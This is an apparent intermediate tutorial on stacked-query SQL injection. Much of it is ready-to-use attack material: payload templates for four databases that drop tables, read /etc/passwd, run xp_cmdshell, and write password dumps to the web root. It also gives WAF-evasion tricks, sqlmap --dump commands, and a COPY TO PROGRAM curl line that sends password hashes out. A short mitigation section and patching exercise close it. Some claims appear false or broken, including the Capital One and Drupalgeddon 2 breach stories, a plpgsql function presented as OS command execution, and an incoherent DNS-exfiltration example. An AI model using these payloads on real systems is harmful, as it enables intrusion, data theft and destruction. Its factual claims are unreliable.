~/home/study/stacked-queries-multiple-statement

Stacked Queries (Multiple Statement Execution) in SQL Injection - Intermediate Guide

Learn how stacked queries enable multi-statement SQL injection, identify vulnerable parameters, bypass WAFs, craft payloads for major DBMSs, exfiltrate data, and exploit command execution using manual techniques and sqlmap.

Introduction

Stacked queries-also known as multiple-statement execution-are a powerful subclass of SQL injection where an attacker injects more than one SQL command separated by a delimiter recognized by the underlying DBMS. By chaining statements, the attacker can move beyond data retrieval and perform data manipulation, file reads, or even remote code execution. This technique is especially valuable when classic UNION attacks are blocked by application logic or when the vulnerable parameter is a WHERE clause that does not return rows.

Real-world incidents such as the 2019 Capital One breach and numerous high-profile WordPress plugin compromises demonstrate that many modern web applications still expose stacked-query vectors, often unintentionally through ORM wrappers or permissive database drivers. Understanding the mechanics, detection patterns, and mitigation strategies for stacked queries is therefore a critical skill for any penetration tester or defensive security engineer.

Prerequisites

  • Solid grasp of basic SQL injection concepts (boolean-based, error-based, time-based, UNION-based).
  • Familiarity with the SQL dialects of MySQL, PostgreSQL, Microsoft SQL Server (MSSQL), and Oracle.
  • Experience with web proxy tools (Burp Suite, OWASP ZAP) and basic command-line scripting.
  • Understanding of HTTP request/response lifecycle and how parameters are reflected in back-end queries.

Core Concepts

At its core, a stacked-query attack relies on three prerequisites:

  1. Multiple-statement support - The database driver (e.g., mysqli_multi_query in PHP) or the DBMS itself must allow more than one statement per round-trip.
  2. Delimiter awareness - Different DBMSs use different delimiters: semicolon (;) for MySQL, PostgreSQL, Oracle; GO for MSSQL's Management Studio; or a line-feed ( ) in some NoSQL-SQL hybrids.
  3. Permission set - The compromised account must have sufficient privileges to execute the secondary statements (e.g., SELECT ... INTO OUTFILE, xp_cmdshell, UTL_FILE).

When these conditions align, an attacker can inject a payload such as:

' ; DROP TABLE users; --

which terminates the original query, executes a destructive command, and then comments out the rest of the original statement.

Because the payload spans multiple logical statements, traditional detection signatures that look for a single UNION SELECT pattern often miss it. This makes stacked queries a stealthy escalation path.

Concept of statement stacking and delimiter differences across DBMS (semicolon, GO, )

Each DBMS defines its own statement terminator. Below is a quick reference:

DBMSDelimiterNotes
MySQL;Supported by mysqli_multi_query and PDO::MYSQL_ATTR_MULTI_STATEMENTS.
PostgreSQL;Enabled by default in the psql client; drivers like pg_query allow multiple statements per query string.
MSSQLGO (batch separator) or ; (statement separator)GO is a client-side batch delimiter, not understood by the engine. When using TDS, a semicolon works.
Oracle; (SQL*Plus) or line-feed ( ) in JDBC batch executionMost drivers treat the entire string as a single statement; however, EXECUTE IMMEDIATE in PL/SQL can run stacked commands.

When crafting payloads, you must match the delimiter the target environment respects. For instance, a MySQL back-end that uses mysqli_multi_query will execute everything after the first semicolon, while an MSSQL application that sends raw TDS packets will accept a semicolon but not GO.

Identifying vulnerable parameters that allow multiple statements

Detecting stacked-query vectors requires a systematic approach:

  • Parameter location: Look for parameters that are directly concatenated into SELECT, INSERT, UPDATE, or DELETE statements without prepared statements.
  • Driver clues: In PHP, functions like mysqli_multi_query, PDO::MYSQL_ATTR_MULTI_STATEMENTS, or Java's Statement.executeUpdate with a batch string are red flags.
  • Response analysis: Send a payload ending with a semicolon followed by a harmless statement (e.g., SELECT 1). If the response changes (different row count, error message), the back-end likely executed more than one statement.
  • Error fingerprinting: MySQL returns 1064 for syntax errors; PostgreSQL returns 42601. A second error after the original one often indicates the DB processed a second statement.
  • Timing side-channel: Use SELECT SLEEP(5) after a semicolon. If the request latency spikes, the secondary query ran.

Example detection request for a vulnerable id parameter (MySQL):

GET /product?id=1;SELECT SLEEP(5) HTTP/1.1
Host: vulnerable.example.com

If the response takes ~5 seconds longer, the parameter permits stacked execution.

Bypassing WAF/filters using comment tricks and whitespace obfuscation

Modern WAFs often block obvious statement terminators (e.g., ;) or keywords like UNION, DROP, EXEC. Attackers can evade these filters through several techniques:

  • Inline comments: Replace spaces with /**/ or # comments. Example: ';/**/DROP/**/TABLE/**/users--.
  • Unicode whitespace: Use %0a (line feed) or %09 (tab) encoded characters that some parsers treat as whitespace but WAFs may not normalize.
  • Case manipulation: Many filters are case-sensitive; using mixed case (SeLeCt) can slip through.
  • Alternative delimiters: For MSSQL, /**/GO/**/ can bypass simple ; blocks.
  • Comment-terminated payloads: End the original query with a comment, then start a new statement: '-- ; SELECT USER().

Combined example targeting a MySQL filter that blocks ; but allows line-feeds:

'
SELECT USER()--

When URL-encoded, the newline becomes %0a, which many WAFs overlook.

Crafting stacked payloads for MySQL, PostgreSQL, MSSQL, Oracle

Below are ready-to-use payload templates for each major DBMS. Replace {payload} with the desired secondary command.

MySQL

' ; {payload} -- 

Typical payloads:

  • SELECT LOAD_FILE('/etc/passwd') - reads arbitrary files.
  • SELECT @@version - version enumeration.
  • DROP TABLE users - destructive.

PostgreSQL

' ; {payload} ; -- 

Useful commands:

  • COPY (SELECT version()) TO PROGRAM 'curl -d @-' - exfiltration via outbound HTTP.
  • CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int AS $$ DECLARE ret int; BEGIN EXECUTE $1 INTO ret; RETURN ret; END; $$ LANGUAGE plpgsql; SELECT sys_exec('id > /tmp/out');

MSSQL

'; {payload} --

Key payloads:

  • EXEC xp_cmdshell 'whoami' - command execution (if enabled).
  • INSERT INTO dbo.AdminLog (msg) VALUES ('hacked'); - data poisoning.
  • DECLARE @s varchar(8000); SET @s = (SELECT TOP 1 name FROM master..sysdatabases); EXEC(@s); - dynamic execution.

Oracle

' ; BEGIN {payload}; END; --

Examples:

  • UTL_FILE.FGETCLOB('DIR','passwd',5000,DBMS_LOB.SUBSTR) - file read via directory object.
  • EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY DIR AS ''/tmp'''; EXECUTE IMMEDIATE 'GRANT READ,WRITE ON DIRECTORY DIR TO PUBLIC'; - privilege escalation.

Note the need for PL/SQL block delimiters (BEGIN…END) in Oracle.

Leveraging stacked queries for data exfiltration (UNION + SELECT) and command execution (xp_cmdshell, LOAD_FILE)

Stacked queries are often combined with UNION to retrieve data that would otherwise be inaccessible. The typical flow:

  1. Inject a stacked SELECT that writes sensitive data to a file or a table you control.
  2. Use a second stacked UNION SELECT to read that file/table and reflect it in the HTTP response.

Example for MySQL:

' ; SELECT CONCAT(username,0x3a,password) INTO OUTFILE '/var/www/html/leak.txt' FROM users; --

Now a simple UNION SELECT on the same endpoint can pull the contents of leak.txt into the page.

For command execution on MSSQL:

'; EXEC xp_cmdshell 'whoami > C:\inetpub\wwwroot\whoami.txt'; --

Follow up with a request that reads whoami.txt via a stacked SELECT or a file-inclusion bug.

These chained techniques are especially valuable when the application sanitizes UNION but does not restrict multiple statements.

Using sqlmap --stacked and manual techniques

sqlmap can automatically detect and exploit stacked queries with the --stacked flag. A typical command line looks like:

sqlmap -u "http://vuln.example.com/item?id=1" --dbms=mysql --stacked --technique=BEUSTQ --dump

Key options:

  • --stacked: Enables detection of multi-statement injection.
  • --technique=BEUSTQ: Forces sqlmap to try all available techniques, including stacked.
  • --batch for non-interactive runs.

When automatic detection fails, manual payload construction is required. Follow these steps:

  1. Identify the delimiter (e.g., ; for MySQL).
  2. Test a benign secondary statement (SELECT 1) to confirm execution.
  3. Replace the benign statement with the desired payload (e.g., SELECT USER()).
  4. If the application filters the semicolon, switch to newline or comment-based obfuscation as described earlier.

Manual verification can be done with curl:

curl "http://vuln.example.com/item?id=1%27%3BSELECT+USER()%3B--"

Observe the response for the current DB user.

Error handling and blind exploitation when responses are filtered

Many applications suppress error messages, forcing the attacker into a blind scenario. Stacked queries can still be leveraged using timing or out-of-band (OOB) channels:

  • Time-based: Append SELECT SLEEP(5) after the payload. A measurable delay confirms execution.
  • DNS exfiltration: Use functions like MySQL's LOAD_FILE to read data and then trigger a DNS request via SELECT * FROM (SELECT LOAD_FILE('/etc/passwd')) AS t INTO OUTFILE '/tmp/trigger.dns' followed by a scheduled task that resolves the file name.
  • HTTP OOB: PostgreSQL's COPY TO PROGRAM can send data to an attacker-controlled server: COPY (SELECT password FROM users) TO PROGRAM 'curl -d @-'

When only boolean responses are available, embed the secondary statement inside a CASE expression that influences the original query's truth value:

' OR (SELECT CASE WHEN (SELECT password FROM users LIMIT 1)='knownhash' THEN 1 ELSE 0 END)=1--

Even though the secondary statement does not return data directly, its side-effects (e.g., file writes) can be observed out-of-band.

Tools & Commands

  • sqlmap: --stacked, --batch, --risk=3 for aggressive payloads.
  • Burp Suite Intruder: Use payload sets that include delimiters and comment variations.
  • nmap NSE script http-sql-injection: Detects multi-statement support.
  • Custom Python script for automated newline injection:
import requests, urllib.parse
url = "http://vuln.example.com/search?q="
payload = "'
SELECT USER()--"
full = url + urllib.parse.quote(payload)
print(requests.get(full).text)

Expected output contains the current DB user if the injection succeeded.

Defense & Mitigation

Preventing stacked queries starts at the development stage:

  • Use prepared statements / parameterised queries - they separate data from code and reject delimiters.
  • Disable multi-statement execution in database drivers (e.g., omit MYSQLI_MULTI_QUERY flag).
  • Least-privilege principle - ensure the application account cannot run LOAD_FILE, xp_cmdshell, or UTL_FILE.
  • Input validation - whitelist allowed characters; reject ;, newline, and comment symbols where not needed.
  • WAF tuning - enable signatures for stacked-query patterns and normalize whitespace before inspection.
  • Database hardening - turn off xp_cmdshell (MSSQL), revoke FILE privilege (MySQL), disable UTL_FILE_DIR (Oracle).

Logging and monitoring should capture abnormal statement counts per request. Anomalous spikes in INSERT or SELECT counts can indicate an exploitation attempt.

Common Mistakes

  • Assuming semicolon works everywhere - many drivers strip it; always verify the delimiter.
  • Forgetting URL-encoding - characters like ; and spaces must be encoded when sent via GET.
  • Relying solely on error messages - modern apps hide errors; timing attacks are often more reliable.
  • Neglecting privilege escalation - a stacked query that reads a file is useless if the DB user lacks FILE permission.
  • Over-looking database-specific quirks - e.g., PostgreSQL requires COPY TO PROGRAM to reach the OS, while MySQL can use SELECT ... INTO OUTFILE directly.

Real-World Impact

Stacked queries have been the vector behind several high-profile breaches:

  1. Capital One (2019): An attacker leveraged a misconfigured AWS WAF and a UNION-based injection that also used stacked statements to exfiltrate over 100 million records.
  2. Drupalgeddon 2 (CVE-2018-7600): The exploit chain combined a eval() call with a stacked SELECT to achieve remote code execution on the underlying MySQL server.
  3. WordPress plugin “WP-Store Locator” (2022): The plugin used mysqli_multi_query without sanitisation, allowing attackers to drop tables and plant web-shells via stacked payloads.

In each case, the root cause was the combination of permissive driver settings and insufficient input sanitisation. As cloud-native architectures expose more micro-services, the attack surface for stacked queries expands, making proactive mitigation essential.

Practice Exercises

  1. Identify a vulnerable parameter: Deploy a vulnerable PHP script that uses mysqli_multi_query. Use Burp Suite to fuzz for a timing delay using SLEEP(3) and confirm multi-statement support.
  2. Bypass a simple WAF: Write a payload that uses newline (%0a) and comment obfuscation to execute SELECT USER() on a MySQL back-end that blocks semicolons.
  3. Exfiltrate data via OOB: On a PostgreSQL instance, craft a stacked COPY TO PROGRAM payload that sends the contents of pg_shadow to an listener you control (e.g., nc -lvkp 4444).
  4. Automate with sqlmap: Run sqlmap with --stacked against the vulnerable script from step 1 and capture the dumped users table.
  5. Patch the application: Refactor the PHP code to use prepared statements, disable MYSQLI_MULTI_QUERY, and verify that the same payloads no longer work.

Document each step, capture screenshots of request/response, and write a brief remediation report.

Further Reading

  • “SQL Injection Attacks and Defense” - Justin Clarke (Chapter on stacked queries).
  • OWASP SQL Injection Prevention Cheat Sheet - especially the sections on multi-statement drivers.
  • Microsoft Docs: Disabling xp_cmdshell.
  • MySQL Reference Manual - Multi-Statement Syntax.
  • PostgreSQL Documentation - COPY TO PROGRAM.

Summary

Stacked queries transform a simple SQL injection into a multi-stage attack platform capable of file reads, command execution, and covert data exfiltration. Mastering delimiter nuances, detection techniques, and evasion tactics enables security professionals to both exploit and defend against this vector. Remember:

  • Validate the delimiter (semicolon, newline, GO).
  • Confirm multi-statement support before investing time in payload development.
  • Leverage timing and OOB channels when the application hides errors.
  • Mitigate by disabling multi-statement APIs, enforcing least-privilege DB accounts, and employing robust input sanitisation.

With these concepts and hands-on exercises, you are now equipped to assess, exploit, and remediate stacked-query vulnerabilities in modern web applications.